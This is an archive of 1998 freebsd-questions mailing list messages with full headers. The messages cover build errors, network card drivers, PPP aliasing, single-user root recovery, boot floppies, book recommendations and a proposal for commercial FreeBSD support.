(envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from user.xtdl.com (user.xtdl.com [206.25.228.20]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id VAA16082 for ; Fri, 10 Apr 1998 21:59:27 -0700 (PDT) (envelope-from sderdau@xtdl.com) Received: from user.xtdl.com (user.xtdl.com [206.25.228.20]) by user.xtdl.com (8.8.8/8.6.9) with SMTP id BAA07140; Sat, 11 Apr 1998 01:04:20 -0400 (EDT) Date: Sat, 11 Apr 1998 01:04:20 -0400 (EDT) From: "Stephen A. Derdau" To: anthony@sohopros.com cc: questions@FreeBSD.ORG Subject: Re: Help with error msg? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I am not an expert. I am just a newbie. I think it means you don't have the gmake utility You may want to install that one first. do at the prompt % which gmake and see if it finds it. either that or gmake's directory is not in your path When I do which gmake I get: $ which gmake /usr/local/bin/gmake (1L) LOCAL USER COMMANDS MAKE(1L) NAME make - GNU make utility to maintain groups of programs SYNOPSIS make [ -f makefile ] [ option ] ... target ... ...... etc Thank You ! Stephen A. Derdau "So What if it is wrong. I am getting closer to the right answer!" "If I had a nickle for every time I was wrrong , I would want a quarter instead. :-)" On Fri, 10 Apr 1998 anthony@sohopros.com wrote: > Can someone help me with this error msg? > > > > Script started on Wed Apr 8 20:35:44 1998 > # make instta_ __ _all_ > >> Checksum OK for xspread2.1.tar.gz._ > ===> Building for xspread-2.1_ > env: gmake: No such file or directory_ > *** Error code 1_ > _ > Stop._ > *** Error code 1_ > _ > Stop._ > *** Error code 1_ > _ > Stop._ > # ^D__exit_ > > Script done on Wed Apr 8 20:37:08 1998 > > ---------------------------------- > E-Mail: anthony@sohopros.com > Date: 10-Apr-98 > Time: 22:37:35 > > This message was sent by XFMail > ---------------------------------- > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 22:04:29 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id WAA16883 for freebsd-questions-outgoing; Fri, 10 Apr 1998 22:04:29 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA16730 for ; Fri, 10 Apr 1998 22:03:21 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id WAA28443; Fri, 10 Apr 1998 22:03:09 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Fri, 10 Apr 1998 22:03:09 -0700 (PDT) From: Doug White Reply-To: Doug White To: Matthias Apitz cc: ifield@mstk.com, freebsd-questions@FreeBSD.ORG Subject: Re: zp0 In-Reply-To: <9804070914.AA10060@kant.SOFTCON.de> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 7 Apr 1998 Matthias.Apitz@SOFTCON.de wrote: > Doug White wrote: > > On Sat, 5 Apr 1997, Ian Field wrote: > > > What are the common i/o, irq settings for zp0 (3c589d) ? I'm trying to > > get 2.2.6-RELEASE to find this card. > > Use the 3com setup program on the 3c589 driver disk. I think it's called > `Install', select `Configuration and Diagnostics.' > > I tried this too but it complains about "No card" (or something > like that). The reason is the missing Card Service -- or do > you have a tool which doesn't require CS? I have the setup for my old 3c589D but since they changed the D so much I don't think it'll work any more. (The A-B-C revs used the save driver, but the D required a new driver.) Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 22:04:54 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id WAA17311 for freebsd-questions-outgoing; Fri, 10 Apr 1998 22:04:54 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA17066 for ; Fri, 10 Apr 1998 22:04:41 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id WAA28447; Fri, 10 Apr 1998 22:04:40 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Fri, 10 Apr 1998 22:04:40 -0700 (PDT) From: Doug White Reply-To: Doug White To: haifeng@intranet.haplink.co.cn cc: freebsd-questions@FreeBSD.ORG Subject: Re: about the annex 2000 on freebsd In-Reply-To: <352B20CE.631E@intranet.haplink.com.cn> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 8 Apr 1998, haifeng Guo wrote: > I'm a new to freebsd, our company is a ISP in china.Our remote > access server is Bay Annex 2000 and the auth server is the sun,now I > want to use the FreeBSD(2.2.5) as the auth server, I install the annex > software on the freebsd, The annex software can recognize the freebsd > server and can complie it's software,but when the install fininshed ,the > annex want to start the "erpcd damen" ,the system told me "can't find > the erpcd.conf" and the core dump, I want konw how to solve the problem > and how to set the annex remote access server and how to set the auth > way (there are many way include:acp unix native). Well, if erpcd wants erpcd.conf, it wants it's configuration file. Check the erpcd documentation on how to set up this file. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 22:05:20 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id WAA17560 for freebsd-questions-outgoing; Fri, 10 Apr 1998 22:05:20 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from ninbox.ml.org (host77-106.airnet.net [209.64.77.106]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA17135 for ; Fri, 10 Apr 1998 22:04:44 -0700 (PDT) (envelope-from kris@ninbox.ml.org) Received: from ninbox.ml.org (localhost [127.0.0.1]) by ninbox.ml.org (8.8.7/8.8.5) with ESMTP id AAA01242; Sat, 11 Apr 1998 00:03:58 -0500 (CDT) Message-ID: <352EF9BC.5D1ABEED@ninbox.ml.org> Date: Sat, 11 Apr 1998 00:03:56 -0500 From: Kris Kirby Reply-To: kris@airnet.net Organization: Absolutely None! X-Mailer: Mozilla 4.05 [en] (X11; I; FreeBSD 2.2.5-RELEASE i386) MIME-Version: 1.0 To: Brian Somers CC: Mark Cartwright , freebsd-questions@FreeBSD.ORG Subject: Re: updated user PPP References: <199804110223.DAA23749@awfulhak.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Brian Somers wrote: > > > Hello. I am (still) using 2.2.2-RELEASE and the user PPP that came > > with it. I have packet aliasing working, but cannot get it to alias > > Internet games to my private network that use UDP. I have gotten the > > impression that the new(?) version of PPP supports the 'alias' command > > to force the aliasing of specific packet types on specific ports from > > within the PPP interface, but cannot get the source for PPP to compile > > on my system as gotten from the FTP site. Any help here, or a bin, or > > .tgz file would be greatly appreciated. > > :-/ What error(s) are you getting ? > > > If it helps at all, the games I am trying to get to work specifically > > are Starcraft and Quake. Thanks very much in advance. > > > > Mark Cartwright > > -- > Brian , , > > Don't _EVER_ lose your sense of humour.... > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message Mark: I have a Quake proxy for Linux. Contact me privately. -- Kris Kirby ------------------------------------------- TGIFreeBSD... 'Nuff said. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 22:07:13 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id WAA18320 for freebsd-questions-outgoing; Fri, 10 Apr 1998 22:07:13 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA18128 for ; Fri, 10 Apr 1998 22:06:55 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id WAA28456; Fri, 10 Apr 1998 22:06:51 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Fri, 10 Apr 1998 22:06:51 -0700 (PDT) From: Doug White Reply-To: Doug White To: ETX-B-SL Martti Kuparinen cc: questions@FreeBSD.ORG Subject: Re: invalid password in single-user mode In-Reply-To: <199804090649.IAA01272@kk662.kk.etx.ericsson.se> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 9 Apr 1998, ETX-B-SL Martti Kuparinen wrote: > Doug White wrote: > > > I bet that your root password is set by NIS and not stored on the local > > machine. Thus when NIS goes away, the system doesn't know root's > > password. > > It can't be, because the passwd table in the NIS server does not > have entry for root, i.e the NIS passwd contains only user accounts. Hm, time for plan C. Make an install boot floppy and fixit floppy (or CD), then boot the boot floppy and select `Fixit' from the menu. You should get a shell after that -- mount your root partition on /mnt and fix /mnt/etc/ttys to disable secure mode on the console. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 22:14:43 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id WAA20067 for freebsd-questions-outgoing; Fri, 10 Apr 1998 22:14:43 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA20024; Fri, 10 Apr 1998 22:14:28 -0700 (PDT) (envelope-from grog@lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.8.7/8.8.5) with ESMTP id OAA20364; Sat, 11 Apr 1998 14:44:26 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.8.8/8.8.7) id OAA18805; Sat, 11 Apr 1998 14:44:25 +0930 (CST) (envelope-from grog) Message-ID: <19980411144425.64484@freebie.lemis.com> Date: Sat, 11 Apr 1998 14:44:25 +0930 From: Greg Lehey To: FreeBSD Questions , FreeBSD Hackers , newbies@freebie.lemis.com, FreeBSD Chat Subject: SPAM: Commercial support for FreeBSD Reply-To: FreeBSD Chat Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89i WWW-Home-Page: http://www.lemis.com/~grog Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Sorry for the spam. This will be the only message I send to these lists--please respect the Reply-To: header and follow up either to chat@FreeBSD.org or supporters@nanyang-computer.com. One of the points raised in the recent flurry of messages about more visibility for FreeBSD is the question of support. We've discussed this at length before, but somehow the discussions gradually sickered away and we were no closer to a solution. A company I do a lot of work for, Nan Yang Computer Services Ltd., is interested in providing commercial support for FreeBSD. They're a *very* low-profile company in England, and they'll expect to be involved mainly in the billing. This means that the people they're looking for have to do just about everything else themselves, more like consultants than employees. With this background, I'd like to solicit discussion on the subject. I've set up a mailing list supporters@nanyang-computer.com. Sign up in the traditional manner: send mail to majordomo@nanyang-computer.com with the text 'subscribe supporters' in the message body. My intention at this stage is to discuss to following topics: 1. How to set up a world-wide commercial support organization for FreeBSD. One of the things that I expect to be of great advantage is that the people involved will be accessible via the Internet, so it should be possible to provide 24x7 coverage. In keeping with Nan Yang's low-key image, I don't envisage any commercial premises for the support people: they will all be located wherever it suits them. 2. What support to offer. The obvious choices are: - first-level user support ("how do I attach an image to a mail reply?") - defect support ("My machine just said "panic: not enough foos" and rebooted. What do I do?"). - programming support ("I've just updated my Yoyodyne frobulator to the new, improved YYD-64. Can you write a driver for me, please?") - Education. This is by no means an exhaustive list. 3. What to charge. 4. How to sell the concept to potential customers. I've copied -questions and -newbies on this message. I don't expect many of the people on those lists to want to join in, but you could be concerned that this might mean the end of free support on the -questions list. I don't think you need to be worried. I suspect it *will* change things on the list, but I don't see any reason to expect that it will make things worse. I'd prefer that as much of the discussion as possible happens on supporters@nanyang-computer.com (it's a no-obligation signup :-). If, for some reason, you don't want to do that, please follow up in FreeBSD-chat. Greg -- See complete headers for address and phone numbers finger grog@lemis.com for PGP public key To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 22:16:02 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id WAA20920 for freebsd-questions-outgoing; Fri, 10 Apr 1998 22:16:02 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA20839 for ; Fri, 10 Apr 1998 22:15:53 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id WAA28494; Fri, 10 Apr 1998 22:15:50 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Fri, 10 Apr 1998 22:15:50 -0700 (PDT) From: Doug White Reply-To: Doug White To: Keith Jones cc: questions@FreeBSD.ORG Subject: Re: igmp(4) manpage missing? In-Reply-To: <19980409103025.14433@blueberry.co.uk> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 9 Apr 1998, Keith Jones wrote: > On Wed, Apr 08, 1998 at 11:49:28PM -0700, Doug White wrote: > > > Is there a reference to it that's incorrect? > > inet(4) contains a reference to it. It seems to be the only one. Hm, time for a PR I guess. Based on the age it must have not made it with the 4.4BSD sources. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 22:17:40 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id WAA21410 for freebsd-questions-outgoing; Fri, 10 Apr 1998 22:17:40 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from ninbox.ml.org (host77-106.airnet.net [209.64.77.106]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA21261; Fri, 10 Apr 1998 22:17:09 -0700 (PDT) (envelope-from kris@ninbox.ml.org) Received: from ninbox.ml.org (localhost [127.0.0.1]) by ninbox.ml.org (8.8.7/8.8.5) with ESMTP id AAA01354; Sat, 11 Apr 1998 00:16:52 -0500 (CDT) Message-ID: <352EFCC2.D5D6D3BE@ninbox.ml.org> Date: Sat, 11 Apr 1998 00:16:51 -0500 From: Kris Kirby Reply-To: kris@airnet.net Organization: Absolutely None! X-Mailer: Mozilla 4.05 [en] (X11; I; FreeBSD 2.2.5-RELEASE i386) MIME-Version: 1.0 To: Frank Pawlak CC: freebsd-questions@FreeBSD.ORG, hackers@FreeBSD.ORG Subject: Re: Fw: Your Article "Freeware: The Heart & Soul of the Internet" References: <199804110444.XAA16358@darkstar.connect.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Frank Pawlak wrote: > > So far the FreeBSD core team has been relatively silent. Would you rather have a stable OS or a talked about OS? -- Kris Kirby ------------------------------------------- TGIFreeBSD... 'Nuff said. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 22:19:55 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id WAA22266 for freebsd-questions-outgoing; Fri, 10 Apr 1998 22:19:55 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from tera.com (tera.tera.com [207.108.223.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA22235; Fri, 10 Apr 1998 22:19:42 -0700 (PDT) (envelope-from kline@tao.thought.org) Received: (from uucp@localhost) by tera.com (8.8.7/8.7.3) with UUCP id WAA25514; Fri, 10 Apr 1998 22:17:03 -0700 (PDT) Received: (from kline@localhost) by tao.thought.org (8.8.5/8.7.3) id WAA19782; Fri, 10 Apr 1998 22:15:54 -0700 (PDT) From: Gary Kline Message-Id: <199804110515.WAA19782@tao.thought.org> Subject: Re: Fw: Your Article "Freeware: The Heart & Soul of the Internet" In-Reply-To: <199804110444.XAA16358@darkstar.connect.com> from Frank Pawlak at "Apr 10, 98 11:44:49 pm" To: fpawlak@execpc.com (Frank Pawlak) Date: Fri, 10 Apr 1998 22:15:54 -0700 (PDT) Cc: kline@thought.org, opsys@mail.webspan.net, jkh@time.cdrom.com, dshanes@personalogic.com, brett@lariat.org, freebsd-questions@FreeBSD.ORG, hackers@FreeBSD.ORG Organization: <> thought.org: public access uNix in service... <> X-Mailer: ELM [version 2.4ME+ PL32 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG According to Frank Pawlak: > Gary, > > Glad to have you aboard. The brain storming has begun and many ideas > or already on the table.. So far the FreeBSD core team has been > relatively silent. It would be better when the input starts to flow > from those folks too. I am sure they have been down this road before, > and will have much to contribute. Without them this could appear as a > "native" uprising. > Hi Frank! The zine discussion has been shunted to chat, I think. The reason that the core group is so quiet may be that the ideas recently flowing take _real_ sweat. A guaranteed committment off time (blood, sweat, and tears?). There've been occasional explosions of interest in various hotbuttons items over time. It's one thing to sit and jaw (type) for 20-30 minutes; and quite another to commit 5 solid hours/week for a year or two. gary To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 22:20:25 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id WAA22491 for freebsd-questions-outgoing; Fri, 10 Apr 1998 22:20:25 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from puma.sirinet.net (puma.sirinet.net [198.203.196.67]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA22424 for ; Fri, 10 Apr 1998 22:20:14 -0700 (PDT) (envelope-from sbowman@sirinet.net) Received: from default (ppp87.sirinet.net [207.3.80.87]) by puma.sirinet.net (8.8.8/8.8.6) with SMTP id AAA23562 for ; Sat, 11 Apr 1998 00:19:42 -0500 Message-ID: <000701bd6509$74fd24a0$575003cf@default> From: "mail.sirinet.net" To: Subject: Problem with the boot floppy image. Date: Sat, 11 Apr 1998 00:19:45 -0500 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0004_01BD64DF.8831EDA0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.2106.4 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_0004_01BD64DF.8831EDA0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable I bought my first computer (AMD-K6) in February and became interested in = installing Free BSD. After downloading the boot.flp file I noticed the = file was 1.40 MB. But when I formatted my 1.44 MB disk, it only leaves = 1.38 left over, and i am unable to transfer it to my disk. I have = access to 2.0 MB disks, and 1.0 GB SparQ disks, but the FAQ says BSD = requires 1.44 MB disks. What am I doing wrong? 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I bought my first computer (AMD-K6) = in February=20 and became interested in installing Free BSD.  After downloading = the=20 boot.flp file I noticed the file was 1.40 MB.  But when I formatted = my 1.44=20 MB disk, it only leaves 1.38 left over, and i am unable to transfer it = to my=20 disk.  I have access to 2.0 MB disks, and 1.0 GB SparQ disks, but = the FAQ=20 says BSD requires 1.44 MB disks.  What am I doing = wrong?
 
          &nbs= p;            = ;            =        =20 Thank You Very Much.
------=_NextPart_000_0004_01BD64DF.8831EDA0-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 22:25:40 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id WAA24436 for freebsd-questions-outgoing; Fri, 10 Apr 1998 22:25:40 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA24383 for ; Fri, 10 Apr 1998 22:25:35 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id WAA28507; Fri, 10 Apr 1998 22:25:32 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Fri, 10 Apr 1998 22:25:32 -0700 (PDT) From: Doug White Reply-To: Doug White To: andyt cc: freebsd-questions@FreeBSD.ORG Subject: Re: new install problem In-Reply-To: <3.0.5.32.19980409061549.00827b30@mail.htp.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 9 Apr 1998, andyt wrote: > I have installed freebsd 2.2.5 from cd on a 486-66 computer. The > motherboard is a 486-pvt ? it supports an optional ps/2 mouse . I am > currently using a serial mouse. At startup Freebsd 2.2.5 recongizes a > ps/2 mouse and I can't get the serial mouse to work. I had the same > problem with bsdi 2.1 but was unable to resolve it. Any help would be > appreciated Andy What application are you trying to use the mouse in? XWindows? The system should detect the serial port the mouse is connected to, but it's the app's responsibility to configure/drive the mouse. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 22:34:05 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id WAA26282 for freebsd-questions-outgoing; Fri, 10 Apr 1998 22:34:05 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mailgw01.execpc.com (mailgw01.execpc.com [169.207.16.9]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA26150; Fri, 10 Apr 1998 22:33:50 -0700 (PDT) (envelope-from fpawlak@execpc.com) Received: from darkstar.connect.com (ediorung-17.mdm.mke.execpc.com [169.207.76.145]) by mailgw01.execpc.com (8.8.8) id FAA27604; Sat, 11 Apr 1998 05:33:45 GMT Received: from darkstar.connect.com (localhost [127.0.0.1]) by darkstar.connect.com (8.8.8/8.8.8) with ESMTP id AAA16421; Sat, 11 Apr 1998 00:33:36 -0500 (CDT) Message-Id: <199804110533.AAA16421@darkstar.connect.com> Date: Sat, 11 Apr 1998 00:33:34 -0500 (CDT) From: Frank Pawlak Subject: Re: Re[2]: Fw: Your Article "Freeware: The Heart & Soul of the Int ernet" To: jktheowl@bga.com cc: schwenk@voicenet.com, hackers@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/plain; CHARSET=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I just did a book search on the title words Berkeley UNIX at www.amazon.com and several titles showed up. Two of the titles I own and would recommend be placed on the must read list along with Greg's book. BTW, Greg's book is listed as back ordered and has been for the past several weeks. They are: Berkeley UNIX; A Simple and Comprehensive Guide, by James Wilson. This is a textbook used a Stanford University. Cost $25.00 US An Introduction To Berkeley UNIX and ANSI C, by Jack Hodges. Cost aboy $37.00 US Both titles cover basic commands and shell programming. Lastly a book that I picked at the University of Wisconsin bookstore. A Practical Guide To the UNIX System by Mark G. Sobell. This one covers Berkeley Software Distribution 4.3BSD. Has lot of depth on commands, files system etc. The point is that there are commercial publications out there, not in near the numbers devoted to Linux, but in my opinion of better quality. BTW, amazon.com allows others to sell for them through web site links and retain a share of the profits. Maybe an idea for the FreeBSD group to look into and provide easy access to publications that cover our beloved OS. Regards, Frank On 10 Apr, John Kenagy wrote: > > > On Fri, 10 Apr 1998, Peter Schwenk wrote: > >> Just as a data point... I thought it was a good start that I saw copies of >> "The Complete FreeBSD, 2nd Ed." with the CDs and all in a large chain >> bookstore, Borders Books and Music. Now, if it spreads to the book >> sections of large computer stores, like I've seen Linux do, we'll be >> getting somewhere. >> > > > On seeing this post I immediately called Borders here in Austin, > and they have *sold out*. I previously posted to the doc list > that Barnes and Noble and Bookstop have it in their catalog but none > on the shelf. > > If you are going to buy this, *buy it from any of these three*!! > And, do as I have, pester other retailers. > > Borders has 4 on order. I plan to get mine there. Ordering from WC > is fine, but we must support the retail effort. I have also called > my hardware vendor and volunteered to help get anyone interested in > Unix started. They do get inquiries and do make sales but offer no > support. They seemed very pleased for the offer and will gladly make > referrals. > > Its a start. > > John > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message -- ----------------------------- "At no time is freedom of speech more precious then when a man hits his thumb with a hammer." -- Marshall Lumsden To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 22:36:16 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id WAA27310 for freebsd-questions-outgoing; Fri, 10 Apr 1998 22:36:16 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA27300 for ; Fri, 10 Apr 1998 22:36:11 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id WAA28520; Fri, 10 Apr 1998 22:36:00 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Fri, 10 Apr 1998 22:36:00 -0700 (PDT) From: Doug White Reply-To: Doug White To: Jerry Blancher cc: freebsd-questions@FreeBSD.ORG Subject: Re: Kingston KNE30T PCI In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 9 Apr 1998, Jerry Blancher wrote: > I have the Kingston KNE30T PCI ethernet card. It is set up on a new > system with NO load and NO traffic. Here is a clipping of my system: > > CPU: AMD-K6tm w/ multimedia extensions (233.86-MHz 586-class CPU) > Origin = "AuthenticAMD" Id = 0x562 Stepping=2 > Features=0x8001bf > real memory = 67108864 (65536K bytes) > avail memory = 61206528 (59772K bytes) > Probing for devices on PCI bus 0: > chip0 rev 3 on > pci0:0: > 0 > chip1 rev 39 on > pci0:7 > :0 > pci0:7:1: VIA Technologies, device=0x0571, class=storage (ide) [no driver > assign > ed] > ed1 rev 0 int a irq 11 on pci0:11:0 > ed1: address 00:c0:f0:2a:7c:29, type NE2000 (16 bit) This would explain why the KNE30 series is so cheap :-( > My first question is, why is it listing it as a (16 bit) card? Probably a leftover from the ISA probe. > My second question is why is it so slow to the first stop (router) > outside of my box.. traceroute: > > 1 badboy.ieway.com (204.188.52.1) 1.991 ms 2.094 ms 2.094 ms > > This new system is also on a new provider. Hm, by comparison, I get ~.7 pinging my Cisco, hitting a hub and a switch first. What kind of router is your router, anyway? > My old system on the old provider with a true 16 bit card running 2.2.5 > (compared to 2.2.6 of the new system) pulls traceroutes to te first router > at times of less then .5 ms > > When the old system and the new system was on the same hub, I could pull > files from the old system to the new system at the rate of over 1MB/sec. > > According to the Kingston manual, > PCI transfer up to 132 MB/sec > EISA transfer up to 33 MB/sec > ISA transfer up to 8 MB/sec This is ideal on a quiet network. Fat chance. > So, my major question is, is it the card, settings, or new provider that > would be slowing down the works? Run a tcpdump and see how busy your network is. The more hubs you go through the slower it gets, and cheap crappy hubs really push that RTT up. > Also, is there a way to do a flood test on the ethernet card to see how > well it handles it's self? ping 